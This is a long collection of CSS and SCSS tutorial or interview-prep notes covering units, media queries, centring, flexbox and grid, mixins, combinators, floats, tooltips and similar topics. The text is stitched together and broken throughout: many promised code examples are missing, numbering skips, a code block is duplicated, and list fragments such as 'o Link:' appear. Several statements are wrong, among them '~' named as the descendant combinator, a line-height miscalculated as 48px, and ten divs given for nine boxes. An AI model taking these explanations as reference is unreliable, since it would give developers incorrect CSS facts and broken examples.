Vh and percent are both relative units, so they scale based on some factor of the device it
is viewed on. Pixels are absolute, so a 100x100 pixel image will be larger on a low
resolution screen, but very small on a screen with high pixel density.
rem - rem units are relational to the font-size value of the HTML tag. For example, if the
font size of the HTML tag is 16px (that is the default size for an html document), then
1rem unit is equal to 16px. That makes .5rem=8px, 2rem=32px, etc.
em - em units are similar to rem units, but whereas a rem unit always references the
HTML tag, an em unit is relational only to its nearest defined parent element. For
example, if the div wrapper for a callout is set to font-size:20px, then any child element
set to 1em would be the equivalent of 20px, .5em=10px, 2em=40px, etc.
The :root CSS pseudo-class matches the root element of the document. In HTML, :root
represents the HTML element and is identical to the selector HTML, except that its
specificity is higher.
So, for example if want to change the background of our complete page to black. We can
do it by the CSS:
:root{
background: black
}
:root is also used for declaring global CSS variables, for example :
:root {
--main-color: hotpink;
--pane-padding: 5px 42px;
}
With media queries, you can set specific CSS rules to trigger only when certain
conditions are met, such as the width of the viewport. This enables you to create flexible
and responsive designs that provide an optimal viewing experience regardless of the
device being used to access the website.
Here’s an example of a media query in CSS:
/* This CSS rule will apply to screens with a maximum width of 600 pixels */
@media (max-width: 600px) {
body {
background-color: lightblue;
}
}
In this example, the `@media` rule specifies a condition for when the screen width is at
most 600 pixels. If the screen width matches this condition (i.e., the screen is 600 pixels
wide or narrower), the styles inside the curly braces will be applied. In this case, the
background color of the `body` element will be changed to light blue.
You can also have multiple conditions within a single media query, allowing you to target
different screen sizes with different styles:
In this second example, the first media query targets screens up to 600 pixels wide with
a light blue background color, and the second media query targets screens between 601
and 1200 pixels wide with a light green background color.
These examples showcase how media queries allow you to apply different styles based on
the characteristics of the screen, creating a responsive design that adapts to various
devices.
Creating a responsive design using CSS3 involves using various techniques to ensure
that a website or web application looks and functions well on different devices with
varying screen sizes and resolutions. Here are some common techniques used in CSS3 to
create a responsive design:
1)Fluid Layouts: One approach to creating a responsive design is to use fluid layouts
that resize based on the width of the browser window or device screen. This can be
achieved by using percentage widths for containers and elements, instead of fixed pixel
values.
2)Media Queries: Media queries allow developers to apply different styles to elements
based on the size of the device screen. This allows them to create a tailored user
experience for different devices. Media queries are typically written using the @media
rule in CSS3.
4)Grid Systems: Grid systems are a popular technique used to create responsive
designs. They involve dividing the page into a grid of columns and rows, which can be
adjusted based on the screen size using media queries. Developers can use CSS3
frameworks like Bootstrap and Foundation to implement grid systems quickly.
5)Flexbox: Flexbox is a powerful CSS3 layout system that allows developers to create
flexible, responsive layouts easily. Flexbox provides a way to align and distribute space
among elements in a container, even when the size of the elements is unknown.
By combining these techniques, developers can create a responsive design that looks
great and functions well on different devices, without having to create separate websites
or web applications for each device.
How to align an element both vertically and horizontally at the center of its
parent element ?
To align an element both vertically and horizontally at the center of its parent element,
you can use CSS flexbox,CSS Grid or Custom css with position absolute. Here are
examples of both approaches:
.parent {
display: flex;
justify-content: center; /* Horizontal centering */
align-items: center; /* Vertical centering */
}
In this example, the `.parent` class represents the parent element containing the element
you want to center. By setting `display: flex` on the parent, its child elements become
flex items. The `justify-content: center` property centers the child element horizontally,
while `align-items: center` centers it vertically.
.parent {
display: grid;
place-items: center; /* Centers both horizontally and vertically */
}
Here, the `.parent` class uses CSS Grid by setting `display: grid`. The `place-items:
center` property centers the child element both horizontally and vertically within the grid
cell. Remember to apply these styles to the parent element that contains the element you
want to center. You can adjust the CSS selectors (`parent`) according to your HTML
structure and class names.
.parent {
position: relative
}
.container {
position:absolute;
top: 50%;
left: 50%;
width:100px;
height:100px;
margin-left:-50px;
margin-top:-50px;
border: 1px solid #ccc;
background-color: #f3f3f3;
}
or
.parent {
position: relative
}
.container {
position:absolute;
top: 50%;
left: 50%;
width:100px;
height:100px;
transform:translate(-50%,-50%);
border: 1px solid #ccc;
background-color: #f3f3f3;
}
In this approach, the parent element should have a non-static position, such as position:
relative, to serve as the reference for absolute positioning. The child element is
positioned absolutely using position: absolute. By setting top: 50% and left: 50%, the
element is moved to the center of its parent. Finally, transform: translate(-50%, -50%)
shifts the element back by 50% of its own width and height, effectively centering it. You
can also use margin-left and margin-top to shift the element by 50 percent, in this case it
will be margin-left:-50px; and margin-top:-50px; as height and width of element is 100px
<body class="parent">
<div class="container">
<div class="item item-1">
1.Lorem Ipsum has been the industry's standard dummy text ev
</div>
</div>
</body>
In CSS, you can create animations using the `@keyframes` rule and apply them to
elements using the `animation` property. Here’s a basic example of how to animate an
element in CSS:
Next, we apply the animation to an element with the class `.my-element` using the
`animation` property. The `animation` property takes several values separated by
spaces. The first value is the name of the animation (`myAnimation`), followed by the
duration of the animation (`2s` in this case), and finally, any additional animation
properties such as timing function or delay.
In the example above, the animation will scale the element from its initial size to 1.5
times its size and then back to the initial size, creating a simple pulsating effect. The
animation will repeat indefinitely (`infinite`) until stopped or removed.
You can customize the animation by changing the CSS properties within the
`@keyframes` rule and adjusting the animation properties applied to the element. You
can animate various CSS properties such as `transform`, `opacity`, `color`, `width`, and
more.
CSS animations provide a wide range of possibilities for creating engaging and dynamic
effects on web pages. You can explore different animation properties, timing functions,
and keyframe percentages to achieve the desired animation effects.
To create a half circle using CSS, we can use the border-radius property to create a
circular shape and then use the overflow property to hide the bottom half of the circle.
HTML:
<div class="half-circle"></div>
CSS:
.half-circle {
width: 200px;
height: 100px;
border-radius: 100px 100px 0 0;
background-color: red;
}
In this example, we’ve created a div element with a class of half-circle. We’ve set the
width and height of the element to 200px and 100px respectively, which gives us an
elliptical shape. We’ve then used the border-radius property to create a circle by setting
the top-left and top-right border radii to 100px, and the bottom-left and bottom-right
border radii to 0, which gives us the appearance of a half circle.
Next, we’ve set the background color of the half circle to red to make it more visible.
You can adjust the dimensions, border radii, colors, and other properties to create half
circles of different sizes and styles.
To create a triangle using CSS, we can use the border property to set the width, height,
and color of the triangle, and then use the border-style property to create a triangle
shape.
HTML:
<div class="triangle"></div>
CSS:
.triangle {
width: 0;
height: 0;
border-left: 30px solid transparent;
border-right: 30px solid transparent;
border-bottom: 30px solid red;
}
In this example, we’ve created a div element with a class of triangle. We’ve set the width
and height of the element to 0, which effectively hides the element. We’ve then used the
border-left, border-right, and border-bottom properties to create the triangle shape.
CSS (Cascading Style Sheets) is a powerful styling language used for describing the
presentation of a document written in HTML or XML. While CSS is widely used and
versatile, it does have some limitations. Here are some of them:
1. Browser Compatibility
Different browsers may interpret CSS rules differently, leading to inconsistencies in the
appearance of a webpage. This can require additional effort to ensure cross-browser
compatibility.
CSS is a declarative language, which means that it describes the desired state of a
document. It does not allow developers to write code that executes dynamically in
response to user interactions. For this, developers need to use JavaScript or another
scripting language.
4. Security vulnerabilities
CSS is not inherently secure, and it can be used to introduce security vulnerabilities into
web pages. One example is cross-site scripting (XSS), which is a type of attack that
allows an attacker to inject malicious code into a web page. Developers need to be
careful when using CSS from untrusted sources and should always validate user-supplied
input before rendering it on the page.
5. Scalability issues
As the size and complexity of web pages grow, maintaining CSS can become difficult.
This is especially true when using a lot of CSS rules or when using CSS frameworks with
a lot of nested selectors. To manage CSS complexity, developers can use CSS
preprocessors like LESS or Sass, which allow them to write more modular and
maintainable CSS code.
6. Accessibility challenges
CSS can be used to create visually appealing web pages, but it is important to consider
accessibility when using CSS. Developers should ensure that their CSS code does not
interfere with the ability of users with disabilities to access and use web pages. This may
involve using CSS to provide alternative text for images, using high-contrast color
schemes, and ensuring that the page is navigable without relying on a mouse.
Conclusion:
CSS is a powerful tool for styling web pages, but it is important to be aware of its
limitations. By understanding these limitations, developers can avoid problems and
create more consistent, maintainable, and accessible websites.
Creating a carousel using CSS can be achieved using CSS animations and transforms.
Here is an example of how to create a basic carousel using CSS:
HTML:
<div class="carousel-container">
<div class="carousel">
<div class="slide">
<img src="" alt="Image 1">
</div>
<div class="slide">
<img src="" alt="Image 2">
</div>
<div class="slide">
<img src="image3.jpg" alt="Image 3">
</div>
</div>
</div>
</div>
CSS:
.carousel-container {
width: 100%;
overflow: hidden;
}
.carousel {
display: flex;
width: 300%;
animation: slide 10s infinite;
}
.slide {
width: 33.33%;
padding: 10px;
box-sizing: border-box;
}
.slide img {
width: 100%;
}
@keyframes slide {
0% {
transform: translateX(0);
}
33.33% {
transform: translateX(-100%);
}
66.66% {
transform: translateX(-200%);
}
100% {
transform: translateX(0);
}
}
In this example, we have a container with the class “carousel-container” that has an
overflow of hidden to hide the overflow of the carousel. The carousel itself has a width of
300% to accommodate the width of all the slides, and a flex display to align the slides
horizontally. The slides have a width of 33.33% to ensure that all three slides fit within
the carousel container. The slide images have a width of 100% to fill the width of their
respective slides.
The @keyframes rule defines the animation for the carousel, where we translate the
carousel horizontally by 100% for each slide, and then back to 0% to create the carousel
effect. The animation is set to repeat infinitely with a duration of 10 seconds.
Note that this is a basic example, and you can modify the styles and animation to fit your
specific needs and design.
What is SCSS ?
SCSS (Sassy Cascading Style Sheets) is a preprocessor for CSS that extends the
capabilities of traditional CSS. It is a superset of CSS, meaning that any valid CSS code is
also valid SCSS code. SCSS introduces additional features and functionalities to CSS,
making it more powerful and flexible for styling web pages.
1. Variables: SCSS allows the use of variables, which can store values such as colors,
font sizes, or any other CSS property. Variables make it easier to reuse and maintain
consistent styles throughout a project.
$primary-color: #ff0000;
.button {
color: $primary-color;
}
2. Nesting: SCSS allows nesting CSS selectors, which provides a more intuitive and
organized way of writing styles. Selectors that are nested within other selectors inherit
the styles from their parent selectors.
.container {
background-color: #f0f0f0;
h1 {
font-size: 24px;
}
p {
color: #333;
}
}
3. Mixins: Mixins are reusable blocks of code that can be included in multiple selectors
or rules. They allow you to define a set of styles and apply them wherever needed,
reducing code duplication.
@mixin flex-center {
display: flex;
justify-content: center;
align-items: center;
}
.container {
@include flex-center;
}
4. Partials and Imports: SCSS allows you to break your CSS code into multiple files
called partials. Partials are prefixed with an underscore, indicating that they are not
compiled into separate CSS files. You can then import these partials into a main SCSS
file.
// _buttons.scss
.button {
// Button styles...
}
// main.scss
@import 'buttons';
$base-font-size: 16px;
body {
font-size: $base-font-size * 1.2;
}
To use SCSS in a project, you need to compile it into regular CSS using a preprocessor or
a build tool. There are several options available, such as Sass, node-sass, or webpack
with sass-loader, that can compile SCSS files into CSS.
SCSS simplifies and enhances the process of writing and maintaining CSS stylesheets,
making it a popular choice for frontend developers working on complex projects.
In SCSS (Sass), mixins are a feature that allows you to define reusable blocks of CSS
code. A mixin is similar to a function in programming, as it can accept parameters and
generate CSS styles based on those parameters. Mixins provide a way to encapsulate and
reuse common styles, making your code more modular and maintainable.
To define a mixin in SCSS, you use the `@mixin` directive, followed by a name and a
block of CSS code.
Here’s an example:
@mixin center-element {
display: flex;
align-items: center;
justify-content: center;
}
In this example, we define a mixin called `center-element` that applies common styles to
center an element both vertically and horizontally using flexbox.
To use a mixin, you can include it in a selector using the `@include` directive, followed
by the name of the mixin. Here’s an example:
.container {
@include center-element;
}
The `@include` directive includes the `center-element` mixin in the `.container` selector,
which applies the styles defined in the mixin to that selector. After compilation, the
generated CSS will include the styles from the mixin:
.container {
display: flex;
align-items: center;
justify-content: center;
}
Mixins can also accept parameters, allowing you to customize the generated styles.
Here’s an example of a mixin with parameters:
@mixin link-color($color) {
color: $color;
text-decoration: none;
&:hover {
text-decoration: underline;
}
}
In this example, the `link-color` mixin accepts a `$color` parameter. When using the
mixin, you can pass a specific color value to customize the link’s color. Here’s an
example:
a {
@include link-color(blue);
}
After compilation, the generated CSS for the `a` selector will include the customized
color:
a {
color: blue;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
Mixins in SCSS provide a powerful way to reuse and share CSS code, making your
stylesheets more maintainable and reducing code duplication. They are particularly
useful for common styles or styles that require customization in different parts of your
project.
1. Modularity and Reusability: Preprocessors allow you to break down your CSS code
into smaller, modular pieces using features like variables, mixins, and functions. This
modularity promotes code reuse and makes it easier to maintain and update styles across
a large project.
2. Variables: Preprocessors support the use of variables, which means you can define
and reuse values (e.g., colors, font sizes) throughout your stylesheet. This makes it
simpler to maintain consistency and quickly apply changes globally.
Example:
// Scss
$primary-color: #007bff;
$secondary-color: #6c757d;
.button {
background-color: $primary-color;
color: white;
}
.alert {
background-color: $secondary-color;
color: white;
}
3. Nested Rules: CSS preprocessors enable you to nest CSS rules within one another,
reflecting the HTML structure. This nesting makes the code more organized and easier to
read, as well as helps avoid repetitive selector names.
// Sass
.navbar {
background-color: #333;
ul {
list-style: none;
padding: 0;
li {
display: inline-block;
margin: 0 10px;
}
}
}
4. Mixins and Functions: Mixins are reusable blocks of CSS code that can be included
in multiple rules. Functions allow you to perform calculations and manipulate values
within your styles. These features enhance code maintainability and encourage the use of
DRY (Don’t Repeat Yourself) principles.
// Sass
@mixin flex-center {
display: flex;
justify-content: center;
align-items: center;
}
.container {
width: 100%;
height: 300px;
@include flex-center;
}
// Sass
$use-rounded-corners: true;
.button {
border: 1px solid #ccc;
@if $use-rounded-corners {
border-radius: 5px;
}
}
6. Importing and Partials: Preprocessors let you split your CSS into multiple files and
import them into a single file. This feature simplifies code organization, promotes code
reuse, and makes collaboration more manageable.
// _variables.scss
$primary-color: #007bff;
$secondary-color: #6c757d;
// main.scss
@import 'variables';
.button {
background-color: $primary-color;
color: white;
}
.alert {
background-color: $secondary-color;
color: white;
}
10. Community and Ecosystem: CSS preprocessors, like Sass and Less, have active
and large communities, providing extensive documentation, resources, and third-party
libraries (e.g., frameworks, mixins) that can streamline development.
Conclusion: Using CSS preprocessors like Sass can significantly enhance the
maintainability and organization of your CSS code. They provide a more structured and
powerful way of writing styles, leading to a more efficient development process. The
examples above demonstrate how variables, mixins, nested rules, and other features
make it easier to manage and create scalable styles for web projects.
To implement responsive images using HTML and CSS, you can follow the steps
below. Responsive images are essential for ensuring that your website looks good and
performs well on various devices with different screen sizes.
The `<img>`` tag is the standard HTML element for displaying images. To make it
responsive, you can use the srcset attribute, which allows you to provide multiple image
sources at different resolutions or sizes. The browser will then choose the most
appropriate image based on the user’s device and screen size.
<img src="default-image.jpg"
srcset="small-image.jpg 480w,
medium-image.jpg 768w,
large-image.jpg 200w"
alt="Description of the image">
The sizes attribute is used to provide additional information to the browser about the
image sizes. It helps the browser determine the appropriate image to load based on the
viewport’s size (screen size and resolution).
<img src="default-image.jpg"
srcset="small-image.jpg,
medium-image.jpg,
large-image.jpg"
sizes="(max-width: 600px) 480px,
(max-width: 1024px) 768px,
1200px"
alt="Description of the image">
In the example above, we set specific image sizes for different viewport widths using
media queries. If the viewport is 600 pixels wide or less, the browser will load the 480
pixels wide image. If the viewport is between 601 pixels and 1024 pixels wide, the 768
pixels wide image will be used. For viewports wider than 1024 pixels, the 1200 pixels
wide image will be loaded.
Sometimes, you may want to style the images differently based on the device’s screen
size. You can achieve this by using CSS media queries.
In the example above, we set different maximum widths for the images based on the
screen size using media queries. For small screens, the image will take the full width of
its container. For medium screens, it will be limited to 80% of the container width, and
for large screens, it will be limited to 60% of the container width.
With these steps, you can implement responsive images that adjust according to the
user’s device and screen size, providing a better user experience on different platforms.
CSS Flexbox is a layout model that provides a flexible way to arrange and align elements
within a container. It simplifies the process of creating responsive and dynamic layouts.
Here’s an example to illustrate the usage of CSS Flexbox:
<!DOCTYPE html>
<html>
<head>
<style>
.container {
display: flex;
}
.item {
flex: 1;
padding: 10px;
}
.item:nth-child(odd) {
background-color: #f0f0f0;
}
</style>
</head>
<body>
<div class="container">
<div class="item">Item 1</div>
<div class="item">Item 2</div>
<div class="item">Item 3</div>
</div>
</body>
</html>
In the example above, we create a container with the class `.container` and three child
elements with the class `.item`. The container has the `display: flex` property, which
turns it into a flex container.
The child items have the `flex: 1` property, which distributes the available space equally
among them. This allows them to dynamically resize based on the container’s width.
Conclusion: CSS Flexbox provides a powerful set of properties to control the layout and
alignment of elements within a flex container. Some commonly used properties include
`flex-direction`, `justify-content`, `align-items`, `flex-wrap`, and more. These properties
allow you to control the direction, alignment, and wrapping behavior of flex items.
By leveraging the flexbox model, you can easily create responsive layouts that adapt to
different screen sizes and provide a consistent user experience across devices.
In CSS Flexbox how to put a child div which is on 3rd position inside the parent
to top inside the parent container?
HTML:
<div id="main">
<div style="background-color:coral;" id="myRedDIV"></div>
<div style="background-color:lightblue;" id="myBlueDIV"></div>
<div style="background-color:lightgreen;" id="myGreenDIV"></div>
<div style="background-color:pink;" id="myPinkDIV"></div>
</div>
CSS:
#main {
width: 400px;
height: 150px;
border: 1px solid #c3c3c3;
display: -webkit-flex; /* Safari */
display: flex;
}
#main div {
width: 70px;
height: 70px;
}
/* Safari 6.1+ */
div#myRedDIV {-webkit-order: 2;}
div#myBlueDIV {-webkit-order: 4;}
div#myGreenDIV {-webkit-order: 1;}
div#myPinkDIV {-webkit-order: 3;}
/* Safari 6.1+ */
div#myRedDIV {-webkit-order: 2;}
div#myBlueDIV {-webkit-order: 4;}
div#myGreenDIV {-webkit-order: 1;}
div#myPinkDIV {-webkit-order: 3;}
CSS Grid and CSS Flexbox are both powerful layout systems in CSS that provide
different approaches to creating responsive and flexible layouts. Here’s a detailed
comparison of CSS Grid and CSS Flexbox, along with examples:
CSS Grid:
CSS Grid is a two-dimensional layout system that allows you to create complex grid-
based layouts with rows and columns. It provides precise control over the placement and
alignment of elements within the grid.
<div class="grid-container">
<div class="item">Item 1</div>
<div class="item">Item 2</div>
<div class="item">Item 3</div>
</div>
.grid-container {
display: grid;
grid-template-columns: 1fr 1fr 1fr;
grid-gap: 10px;
}
.item {
background-color: #ddd;
padding: 20px;
}
In this example, we create a grid container with three columns using the `grid-
template-columns` property. The `1fr` value represents a fraction of the available
space, so each column will have an equal width. We also set a gap of 10 pixels between
grid items using the `grid-gap` property. The grid items inside the container will be
placed automatically in the grid.
CSS Flexbox:
CSS Flexbox is a one-dimensional layout system that allows you to create flexible and
dynamic layouts along a single axis (either horizontally or vertically). It provides powerful
alignment and distribution capabilities.
<div class="flex-container">
<div class="item">Item 1</div>
<div class="item">Item 2</div>
<div class="item">Item 3</div>
</div>
.flex-container {
display: flex;
justify-content: space-between;
align-items: center;
}
.item {
background-color: #ddd;
padding: 20px;
}
In this example, we create a flex container using the `display: flex` property.
The `justify-content` property is set to `space-between`, which distributes the flex
items evenly along the main axis with space between them. The `align-items` property
is set to `center`, which vertically aligns the flex items at the center of the container.
Comparison:
1. Axis Orientation:
— Flexbox: You define the layout of the flex container, and the child items automatically
adapt to the available space based on their flex properties.
3. Alignment:
— Grid: Provides more control over both horizontal and vertical alignment.
— Flexbox: Provides powerful alignment and distribution options along the main axis and
cross axis.
4. Complexity:
— Grid: Suitable for complex, grid-based layouts with precise control over rows and
columns.
Conclusion: Both CSS Grid and CSS Flexbox are incredibly useful and have their
strengths. In some cases, you might use them together, with Grid handling the overall
page layout and Flexbox handling smaller sections within the grid. The choice between
them depends on the specific layout requirements of your project.
15. How to create a 9 square boxes with 3 rows and 3 columns using css ?
Below is the code to create 9 square boxes with 3 columns and 3 rows using
css HTML:
<div class="parent">
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
<div class="box">1</div>
</div>
.parent {
display: grid;
grid-template-columns: 100px 100px 100px;
grid-template-rows: 100px 100px 100px;
.box {
border: solid 1px gainsboro;
}
}
Using CSS Flexbox:
.parent {
display: flex;
flex-wrap: wrap;
width: 300px;
.box {
flex-basis: 33.3%;
height: 100px;
border: solid 1px gainsboro;
box-sizing: border-box;
}
}
What is the difference between reset and normalize CSS? How do they differ?
Reset CSS: CSS resets focus on removing all built-in browser styling. For instance:
margins, paddings, and font sizes of all elements are reset as the same.
Normalize CSS: Normalize CSS focus on making built-in browser styling consistent
across all browsers. Moreover, it also corrects bugs for common browser dependencies.
Pseudo-classes are special keywords in CSS that allow you to apply styles to elements
based not only on their state or position in the document tree but also on user
interaction.
Categories of Pseudo-Classes
Dynamic Pseudo-classes: These appear as the user interacts with an element. For
instance, :hover is activated when the user hovers the cursor over an element.
Enabled and Disabled Pseudo-classes: These are self-explanatory; they alter the
style of elements based on whether they're enabled or disabled. Examples
include :enabled and :disabled.
Describe how to implement a CSS reset and why it is useful.
Consistent Box Model: Ensures uniform calculations of element sizing (e.g., widths
and heights) to prevent unexpected layout shifts.
Want Only Custom Styles: It's especially useful if you intend to start from a blank
slate and apply your own bespoke styles.
For HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="styles.css" rel="stylesheet">
<title>Document</title>
</head>
<body>
<h1>Hello, CSS Reset!</h1>
</body>
</html>
/* reset.css */
/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
h1 {
font-size: 2em;
margin: 0.67em 0;
}
Pseudo-elements are virtual elements that give developers the power to style parts of
an HTML document that don't correspond to actual HTML elements. Essentially, they let
you apply styles to specific parts of an element without the need for extra HTML markup.
Commonly used pseudo-elements include ::before and ::after which let developers insert
content before or after an element, respectively.
Key Features
Practical Applications
3. Responsive Backgrounds
o Link: Apply background images or colors specific to certain parts of an element for
various screen sizes.
o Link: Add decorative elements preceding and following code blocks and
blockquote elements.
o Link: Rework default styling for radio buttons and checkboxes for a more
customized look.
6. Clear Floats
o Link: Sometimes, especially with prior versions of Internet Explorer, using pseudo-
elements proves crucial for achieving desired stylings.
o Implementation: Useful for applying specifically crafted styles that wouldn't work
properly on older browsers without this technique.
Explain the difference between the child combinator and the descendant
combinator.
The child combinator (>) and the descendant combinator (~) both serve to target
HTML elements with CSS. However, they operate in different ways.
Distinct Characteristics
Child Combinator >: Selects an HTML element that is a direct child of another
element.
Code Example
<nav>
<ul>
<li>Direct Child</li> <!-- This is red -->
<li>
Nested Child <!-- This is blue -->
<ul>
<li>Nested List Item</li> <!-- This is blue -->
</ul>
</li>
</ul>
</nav>
1. Specificity of Selection: Implement the child combinator > when you want to
target a specific, direct child of an element.
2. Minimize Global Targeting: Utilize the descendant combinator cautiously as it
has the potential for global targeting. It's often a good habit to opt for more specific
selectors.
9. How would you select all direct children elements of a particular type?
To select all direct children of a specific type in CSS, you can use the > child
selector combined with the desired element to build the selector.
For example, to select all the direct children that are <li> elements within
an <ul> element, you would use the following CSS:
ul > li {
/* Styles here */
}
10. What are the universal selector and the sibling combinator, and when would
you use them?
The Universal Selector (the asterisk, *) is a powerful tool that enables you to target
every element within a specified container. While it's a straightforward selector, its
implications can be broad.
When to Use: You might want to normalize or reset specific CSS properties
(resetting padding, margin, etc.) across all elements within a container or the entire
document. The Universal Selector effectively achieves this.
Best Practices: Overuse of the Universal Selector can lead to performance issues
and unexpected style side effects. Keep its use concise and well-defined.
The Sibling Combinator (+) in CSS targets elements that are immediately preceded by
a specified element. Unlike child (>) or descendant (whitespace) selectors, the sibling
combinator allows direct sibling targeting.
When to Use: For DOM structures where direct sibling relationships are key, such as
tabbed content or multi-step forms.
Best Practices: While direct sibling targeting is useful, ensure it's the most efficient
method for your objective. Overreliance can lead to inflexible CSS and HTML
structures.
The HTML:
<div class="container">
<p>Paragraph 1</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
</ul>
</div>
/* Style the direct sibling anchor tag when a list item is hovered */
ul li:hover + a {
color: red;
}
The HTML:
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li><a href="#">Link</a></li>
</ul>
In this scenario, you have a parent container and you want to remove the default margins
and paddings from all its child elements.
.container > * {
margin: 0;
padding: 0;
}
The HTML:
<div class="container">
<p>Paragraph 1</p>
<p>Paragraph 2</p>
</div>
Margin collapsing can occur when there are adjacent vertical margins between
elements. In such cases, the larger of the two margins becomes the "collapsed margin."
<div>
<p>This is paragraph 1</p>
<p>This is paragraph 2</p>
</div>
While margin collapsing can simplify layout management under specific conditions, it's
essential to understand its behavior to ensure predictable and consistent designs.
What are the different values for the box-sizing property and what do they do?
2. Border-Box: The width and height of the box are calculated by including both the
content and padding within the specified values. Essentially, the browser will adjust
the content width and height measurements to include the padding and
border thickness. Mathematically, this is represented as: $$ \text{Content
Width/Height} = \text{Specified Width/Height} - \text{Padding} - \text{Border} $$
3. Initial: This value sets the box-sizing property to its default value, which is
typically content-box.
Visual Representation
Interviewers often ask this question to test your skills in improving user experience. Your
answer will inform them of your understanding of considering browser compatibility
when designing websites. Give a brief explanation of what you understand about graceful
degradation.
Example: "Responsive web design is about creating websites that can automatically
expand, shrink and resize as per the size and orientation of the user's device. Whether
you use a desktop computer, a laptop, a tablet or a smartphone, a website with
responsive web design will adjust to it. I use responsive design extensively in my CSS
development work, as it helps to provide an optimal user experience across a range of
devices and boosts traffic to the website."
By asking this question, the interviewer wants to find out if you know how to ensure a
good user experience regardless of the browser. Your answer should tell them you
understand the importance of developing core content first. Mention that the website will
add its functionalities according to what the user's browser can support.
In CSS, the clear property is used to control the behavior of elements that come after a
floated element.
When an element is floated, it's taken out of the normal document flow, which can cause
issues with other elements. By setting the clear property on an element after a floated
element, you can force it to appear below the floated element.
Here's an example of how to use the clear property to clear a left-floated element:
.clearfix:after {
content: "";
display: table;
clear: both;
}
.left-floated {
float: left;
}
In this example, we're using a clearfix to clear the floats, which is a common technique.
The clear property is set to both to clear any left or right floats, which will force the
element after the floated element to appear below it.
In CSS, the float property is used to take an element out of the normal document flow
and position it to the left or right of its container.
Here's an example of how to use the float property to float an element to the left:
.left-floated {
float: left;
}
.right-floated {
float: right;
}
When an element is floated, it will cause other elements to flow around it, rather than
stacking on top of it. This can be useful for creating columns, wrapping text around
images, and other layout techniques. However, floating elements can also cause issues
with layout and positioning, so it should be used carefully.
Can you explain the difference between padding and margin in CSS?
In CSS, both padding and margin are used to control the spacing around an element, but
they have different purposes and effects.
The margin property is used to set the space outside an element's border, while
the padding property is used to set the space between an element's content and its
border.
Here's an example of how to set the margin and padding of a div element:
div {
margin: 20px;
padding: 10px;
}
This will create a div element with a margin of 20 pixels on all sides and a padding of 10
pixels on all sides.
Increasing the margin property will increase the space between the element and its
neighboring elements, while increasing the padding property will increase the space
between the element's content and its border.
Can you explain the difference between "em" and "rem" units in CSS?
In CSS, "em" and "rem" are both units of measurement that are used to specify the size of
fonts and other elements on a web page.
The "em" unit is based on the font size of the element that it is applied to. For example, if
an element has a font size of 16 pixels and you set its padding to 1em, the padding will be
16 pixels.
The "rem" unit is similar to "em", but it is based on the root font size of the document,
which is the font size of the <html> element. This makes it more predictable and easier
to use for responsive design.
body {
font-size: 16px;
}
h1 {
font-size: 2em; /* 32px */
margin-bottom: 1rem; /* 16px */
}
p {
font-size: 1.2rem; /* 19.2px */
line-height: 1.5em; /* 48px */
}
In this example, the <html> element has a font size of 16 pixels, and the h1 element has
a font size of 2em, or 32 pixels. The p element has a font size of 1.2rem, or 19.2 pixels,
and a line height of 1.5em, or 48 pixels.
Can you explain the difference between media queries and conditional comments
in CSS?
Media queries are a CSS feature that allow us to apply different styles based on the
device or screen size. Conditional comments, on the other hand, are a non-standard
feature in HTML that allow us to include code that is specific to certain versions of
Internet Explorer. Here's an example of a media query that changes the background
color when the screen width is less than 600 pixels:
Here's an example of a conditional comment that includes a JavaScript file for Internet
Explorer 8 and lower:
Conditional comments are not part of the HTML or CSS standards, and they are only
supported in Internet Explorer. Media queries, on the other hand, are a standard feature
in CSS that are supported by most modern browsers.
How do you create a gradient background in CSS?
To create a gradient background in CSS, we can use the background-image property and
set it to a linear or radial gradient. Here's an example of a linear gradient that fades from
blue to green:
body {
background-image: linear-gradient(to bottom, #007bff, #28a745);
}
In this example, the linear-gradient() function is used to create a gradient that starts at
the top and ends at the bottom of the element. The first color, #007bff, is blue, and the
second color, #28a745, is green.
We can also create a radial gradient, which starts from a central point and radiates
outwards. Here's an example that creates a circular gradient that fades from yellow to
red:
div {
background-image: radial-gradient(circle, #ffff00, #ff0000);
}
In this example, the radial-gradient() function is used to create a gradient that starts
from the center of the element and radiates outwards in a circular shape. The first
color, #ffff00, is yellow, and the second color, #ff0000, is red.
To create a tooltip in CSS, we can use the ::before and ::after pseudo-elements and
the content property to add text to the tooltip. Here's an example:
.tooltip {
position: relative;
border: none;
background: transparent;
}
.tooltip-text {
position: absolute;
top: -20px;
left: 50%;
transform: translateX(-50%);
padding: 5px 10px;
background-color: #000;
color: #fff;
font-size: 12px;
opacity: 0;
transition: opacity 0.3s;
}
.tooltip:hover .tooltip-text {
opacity: 1;
}
In this example, we have a button element with a span element inside that contains the
tooltip text. The position: relative property is applied to the button to allow the tooltip to
be positioned relative to the button. The tooltip text is positioned above the button
using position: absolute and top: -20px. The tooltip text is hidden by default
using opacity: 0, and it is revealed when the button is hovered over using opacity:
1 on .tooltip:hover .tooltip-text. The transform: translateX(-50%) property centers the
tooltip text horizontally over the button.
To create a modal box in CSS, you can use the :target pseudo-class to target an element
with a specific ID that is used as the modal content, and then use the position property
and other CSS properties to position and style the modal box. Here's an example of how
to create a modal box:
.modal:target {
visibility: visible;
opacity: 1;
}
.modal-content {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: white;
padding: 20px;
}
.close {
position: absolute;
top: 10px;
right: 10px;
font-size: 20px;
font-weight: bold;
color: black;
text-decoration: none;
}
In this example, the modal box is triggered by a link with a href attribute that points to
the ID of the modal content (#myModal). The :target pseudo-class is used to show the
modal content when the link is clicked, and the opacity property is used to create a fade-
in effect. The position, top, left, and transform properties are used to center the modal
content vertically and horizontally. The close button is created using an a element with a
class of close, which is positioned absolutely and styled using CSS.
CSS is a styling language and is not designed for creating slideshows. However, CSS can
be used in conjunction with HTML and JavaScript to create a slideshow. One way to
create a slideshow in CSS is to use a combination of HTML for the structure and
JavaScript for the functionality, and then use CSS to style the slideshow. Here's an
example of how to create a slideshow using HTML, JavaScript, and CSS:
<div class="slideshow">
<img src="image1.jpg" alt="Image 1">
<img src="image2.jpg" alt="Image 2">
<img src="image3.jpg" alt="Image 3">
</div>
